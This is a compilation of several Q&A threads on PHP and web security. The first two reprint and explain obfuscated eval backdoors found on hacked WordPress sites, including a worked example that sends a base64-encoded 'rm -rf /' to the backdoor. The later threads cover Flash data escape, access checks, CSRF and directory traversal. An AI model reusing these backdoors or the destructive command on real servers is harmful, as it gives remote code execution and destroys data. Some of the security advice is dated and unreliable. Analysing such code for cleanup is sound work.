I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.
Related
Can any one explain this code. I am having this code on the top of almost every php file. What is this code for. Thanks for your help.
Here is the code....
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
I've seen that code a number of times in different incarnations. It's a piece of injected code left by an attacker. If you break it down it almost always results in eval($var); where $var is an injected parameter (usually $_POST) that then is used to perform some sort of malicious act on your server. Bear in mind eval() will execute any linux command with the same permissions and authority of the user running Apache/PHP.
Breaking down your example
In your example you've given the following code:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
This is semi-obfuscated code but let's start to work through it. The first thing we need to do here is format it to start to understand it:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n642afe'])) {
eval($s21(${$s20}['n642afe']));
}
?>
We can see now that this is a relatively simple PHP script.
Line 1:
$sF="PCT4BA6ODSE_"; is just a variable with what seems like random rubbish in it.
Line 2:
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
This can be translated into: $s21 = "base64_decode"
Line 3:
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
As above, running strtoupper() on that string produces the result _POST.
Line 4:
The if statement here checks to see if ${s20}['n642afe'] is set. Well we know that $s20 evaluates to _POST and ${} type variables take the value as their variable name so this is really:
if(isset($_POST['n642afe'])){
Note: The n642afe part is a random parameter they've chosen so that you (or any other attacker!!!) tries to go to somefile.php?hack=yes it wouldn't work
Line 5:
The most dangerous part is here. Let's evaluate our variables in the same manner as above:
eval($s21(${$s20}['n642afe']));
The end result
eval(base64_decode($_POST['n642afe']));
If I were to send rm -rf / base64 encoded as post value for the parameter n642afe that would recursively delete everything. Unlikely it'd be able to do that without super user permissions but the point is - they'd have the same access rights as you do when you SSH to your server. Here's an example of what that'd look like:
http://example.com/infected.php?n642afe=cm0gLXJmIC8=
Translated, this becomes:
eval(base64_decode('cm0gLXJmIC8='));
And then again:
eval('rm -rf /');
My recommendation is - take the site offline immediately, update it, patch any
holes that are obvious and then make sure your server (and any other sites on there) are secure. Pay particular attention to file and folder permissions on your server. Note: this is a non-exhaustive list, there's so much more you can do to protect yourself.
If you simply delete this line you'll probably find one of two things will happen (or both):
The permissions on the "infected" file are different and the file is owned by a different user. You'll need to chmod/chown the file to get it back
The attackers will keep trying to get back in once they've been successful once. Simply removing the bad code is a good start but ask yourself this: "How did they get in in the first place?". With that in mind, please refer to my recommendation paragraph to begin to solve your issue.
Finding how they got in
To find where attackers 'got in' could be a game of cat and mouse, it's worth starting with the apache access logs though and searching for requests to your infected file with the parameter n642afe. You could also check your PHP logs to see what exactly was run and see what other holes they've opened.
I got an application which uses flash for it's interfaces, and I want to extract information from this application, and parse/use it in my own application (which processes the data, stores the essentials in a mysqldb and so on).
The .swf files are written in AS2 and can be modded quite easily.
So my goal is to send information (really just information. Being able to send numbers (of a at least decent size) would enable me to implement my own protocol of encoding and partitioning) by any means, I am certainly not picky about the means.
Here is my current approach (not my own idea, credits to koreanrandom.org. I merely use their source to learn):
use DokanLib to mount a virtual filesystem (and implement the getFileInformation-handler)
use LoadVars inside the AS2-Environment with parameters like "../.logger/#encoded_information"
since getFileInformation gets the accessed filename as a parameter, I can decode it, put several ones back together (if they had to be splitted, windows does not seem to like filenames with several hundred characters length) and use the decoded data
However, my application causes bluescreens quite often (dont ask why. i got no clue, the bluescreen messages are always different) and the devs at koreanrandom.org dont like being asked too many questions, so i came to ask here for other means to pass information from a sandboxed flash-environment to a prepared listener.
I started thinking about weird stuff (ok, abusing a virtual filesystem & filenames as a means of transport for information might be weird too - but it is still a great idea imo) like provoking certain windows-functions to be called and work with global hooks, but i didnt grasp a serious plan yet.
The "usual" methods like accessing webservers via methods like this dont appear to work:
var target_mc = createEmptyMovieClip("target_mc", this.getNextHighestDepth());
loadVariables("http://127.0.0.1/Tools/indata.php", "target_mc", "GET");
(indata.php would have created a file, if it was accessed, but it didnt.)
XMLSocket doesnt work either, i tried the following code sample (using netcat -l on port 12345):
Logger.add("begin");
var theSocket:XMLSocket = new XMLSocket();
theSocket.onConnect = function(myStatus) {
if (myStatus) {
Logger.add("XMLSocket sucessfully connected")
} else {
Logger.add("XMLSocket NO CONNECTION");
}
};
theSocket.connect("127.0.0.1", 12345);
var myXML:XML = new XML();
var mySend = myXML.createElement("thenode");
mySend.attributes.myData = "someData";
myXML.appendChild(mySend);
theSocket.send(myXML);
Logger.add("socket sent");
doesnt work at all either, the output of the logger was just begin and socket sent
Annotation: the logger was created by the guys from koreanrandom.org and relies on their dokan implementation, which never caused a bluescreen for me. cant spot my mistake in my implementation though, so i started to look for other means of solving my problem.
EDIT: what the hell is wrong with your "quality messages system"? appearently it didnt like me using the tags "escaping" and/or "information".
hmm, hard to say, try sendAndLoad instead of loadVariables
example:
var result_lv:LoadVars = new LoadVars();
var send_lv:LoadVars = new LoadVars();
send_lv.variable1=value1;
send_lv.variable2=value2;
f=this;//zachytka
result_lv.onLoad = function(success:Boolean) {
if (success) {
trace("ok");
} else {
trace("error");
}
};
send_lv.sendAndLoad("http://127.0.0.1/Tools/indata.php", result_lv, "GET"); //you may also use POST
this should work. the reason it's not working may also be flash security settings. try either moving the stuff to a real server or open up the flash settings manager (there's an alternative online version too) and add the 127.0.0.1 to trusted domains and/or testing file location to the trusted locations (i use C:*)
The actual questions
How to "map" access restrictions so it can be used from php and javasript?
What kind of method should I use to share access restrictions / rules between php and javascript?
Explanation
I have created a RESTful backend using php which will use context-aware access control to limit data access and modification. For example, person can modify address information that belongs to him and can view (but not modify) address information of all other persons who are in the same groups. And of course, group admin can modify address details of all the persons in that group.
Now, php side is quite "simple" as that is all just a bunch of checks. Javascript side is also quite "simple" as that as well is just a bunch of checks. The real issue here is how to make those checks come from the same place?
Javascript uses checks to show/hide edit/save buttons.
PHP uses checks to make the actual changes.
and yes,
I know this would be much more simpler situation if I ran javascript (NodeJS or the like) on server, but the backend has already been made and changing ways at this point would cause major setbacks.
Maybe someone has already deviced a method to model access checks in "passive" way, then just use some sort of "compiler" to run the actual checks?
Edit:
Im case it helps to mention, the front-end (js) part is built with AngularJS...
Edit2
This is some pseudo-code to clarify what I think I am searching for, but am not at all certain that this is possible in large scale. On the plus side, all access restrictions would be in single place and easy to amend if needed. On the darkside, I would have to write AccessCheck and canAct functions in both languages, or come up with a way to JIT compile some pseudo code to javascript and php :)
AccessRestrictions = {
Address: {
View: [
OWNER, MEMBER_OF_OWNER_PRIMARY_GROUP
],
Edit: [
OWNER, ADMIN_OF_OWNER_PRIMARY_GROUP
]
}
}
AccessCheck = {
OWNER: function(Owner) {
return Session.Person.Id == Owner.Id;
},
MEMBER_OF_OWNER_PRIMARY_GROUP: function(Owner) {
return Session.Person.inGroup(Owner.PrimaryGroup)
}
}
canAct('Owner', 'Address', 'View') {
var result;
AccessRestrictions.Address.View.map(function(role) {
return AccessCheck[role](Owner);
});
}
First things first.
You can't "run JavaScript on the server" because Javascript is always run on the client, at the same way PHP is always run on the server and never on the client.
Next, here's my idea.
Define a small library of functions you need to perform the checks. This can be as simple as a single function that returns a boolean or whatever format for your permissions. Make sure that the returned value is meaningful for both PHP and Javascript (this means, return JSON strings more often than not)
In your main PHP scripts, include the library when you need to check permissions and use the function(s) you defined to determine if the user is allowed.
Your front-end is the one that requires the most updates: when you need to determine user's permission, fire an AJAX request to your server (you may need to write a new script similar to #2 to handle AJAX requests if your current script isn't flexible enough) which will simply reuse your permissions library. Since the return values are in a format that's easily readable to JavaScript, when you get the response you'll be able to check what to show to the user
There are some solutions to this problem. I assume you store session variables, like the name of the authorized user in the PHP's session. Let's assume all you need to share is the $authenticated_user variable. I assume i'ts just a string, but it can also be an array with permissions etc.
If the $authenticated_user is known before loading the AngularJS app you may prepare a small PHP file whish mimics a JS file like this:
config.js.php:
<?php
session_start();
$authenticated_user = $_SESSION['authenticated_user'];
echo "var authenticated_user = '$authenticated_user';";
?>
If you include it in the header of your application it will tell you who is logged in on the server side. The client side will just see this JS code:
var authenticated_user = 'johndoe';
You may also load this file with ajax, or even better JSONP if you wrap it in a function:
<?php
session_start();
$authenticated_user = $_SESSION['authenticated_user'];
echo <<<EOD;
function set_authenticated_user() {
window.authenticated_user = '$authenticated_user';
}
EOD;
?>
what is the best way to tell my server side script that the submitted form or data is coming from a trusted source or from my website?
Am already performing alot of server side data scrutinize, and think i can improve this more with the client side too
AM a php/mysql developer
To find out the IP of the user who posted the data use:
$ip = $_SERVER['REMOTE_ADDR'];
echo "<b>IP Address= $ip</b>";
According to the IP you can decide whether the user is trusted or not. (for instance if you'd like to trust only a special range of IP-addresses)
Whenever I read posted variables in PHP I use to filter them like that:
function check_string($string) {
// allowed chars: a-z,A-Z,0-9,-,_
if((preg_match('/^[a-zA-Z0-9\-\_]+$/',$string)))
return true;
return false;
}
It would filter all chars which are not a-z, A-Z, 0-9,- or _ and enhances the sites security a little bit. If you've access to your webserver:
Disable server banners (which display OS and apache version for instance), if you have access to the webservers configuration. This information can be very useful for hackers, and you want to disable everything which could help them in any way ;)
Prevent directory listing (for instance with .htaccess files). A simple example would be:
Options All -Indexes
Run the webserver with a limited user account (best would be to chroot the user as well)
Use mysql_real_escape_string in mysql queries and use htmlentities in html posts.
Example:
Wrong:
<?php
if($_SERVER['REQUEST_METHOD'] == "post"){
echo $_POST['hai'];
}
?>
right:
<?php
if($_SERVER['REQUEST_METHOD'] == "post"){
echo htmlentities($_POST['hai']);
}
?>
$_POST can also be $_GET
wrong:
<?php
$query = "SELECT * FROM table WHERE msg = '". $_GET['hai'] ."'";
?>
right:
<?php
$query = "SELECT * FROM table WHERE msg = '". mysql_real_escape_string($_GET['hai']) ."'";
?>
And don't forget to use htmlentities when you get things out of the mysql table...
Greetings
I've always used a class that handled such issues, it would handle both server/client side and ensure that any input was made from the server itself. It would then validate and ensure it is not given special characters.
http://validformbuilder.org/
Let me know if that helps, it helped me a while ago. :)
I think the best option would be adding a digital signature to requests, even a simple one.
For example your site or the trusted source add the SHA checksum of the request computing it after the addition of a secret "salt" (that is not sent). The server gets the data, adds the same salt and computes the SHA signature, if the SHA matches then the source knew the secret and you can trust the content.
I guess your question implies CSRF... Just generate and add a validation token.
Many frameworks can manage these for you.
Guys, thanks for your help i appreciate it all. Generally i was talking about client side security ie making sure data coming from the client is from original source.
Generally SSL might just have been the answer, after a lot of browsing i found two sites that solves this issue to an extent: aSSL ,and Jquery implementation
This way my data is secured up to a level say 90%
what do you think?
If I choose lots of files tactics,
then I become to have directory
traversal security problem?
I need to write login system,
and lots of file tactics means
make lots of id files and use
scandir.
so the directory would have
aaa.txt (contents is aaa_pass)
bbb.txt (contents is bbb_pass)
ccc.txt (contents is ccc_pass)
and when someone enter his id,
the system scandir the directory,
then find the id files.
but hey, what if he enters as
"../../important.txt" ?
then he could access to the ../../important.txt ?
At first glance, it seems like you are going down a somewhat strange path for writing a login system. I'm not sure plain text files in a directory on the filesystem is a wise path to take if for no other other reason than that it's abnormal and you'rer likely to overlook many of the subtleties that are already thought through in more common authentication systems. If you wanted to store the passwords hashed and salted, for instance, you'd need to think through how to implement that in your scheme and you could make a mistake that would lead to a security problem. Using a good PEAR library or even the Zend_Auth component from Zend Framework, though, would give you a clear and well-documented starting point.
Anyway, assuming you have your reasons for the arrangement you describe in your question, the basename() function is likely what you want in this case. It will strip everything but the filename itself so that they can't do a directory traversal attack like you describe in your question.
So if the input from the user is:
../../important
You can run:
$cleanUsername = basename($input);
$filename = '/path/to/password/files/' . $cleanUsername . '.txt';
if (file_exists($filename)) {
[...]
}
Make sense?
You could perform some validation of the username before you use it as part of a path - for example to only allow letters and numbers you could do something like this using a regular expression:
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
//username is not valid
} else {
//username is ok to use
}
Another way you could do it is to hash the username before you read or write it, for example:
$hash = sha1($username);
This way, the user can have anything as their username and there will be no danger of them manipulating the behaviour of your file lookup. A username of "../../important.txt" would give you a hash of "48fc9e70df592ccde3a0dc969ba159415c62658d", which is safe despite the source string being nasty.
If you have no other choice than to use this file-password system (assuming you have to for one reason or another), in addition to creating some kind of obfuscated file names, you may also want create files with the same extension as your server-side language just in case - for example, if you are using PHP, your file name would be john.php (or obfuscated 'john'), and contents might be something like this:
<?php
exit; // or maybe even a header redirect --
/*password goes here*/
?>
Of course your file-read routine will need to parse our the phrase inside the comment block.
This way, if someone DOES somehow arrive at that file, it will never render.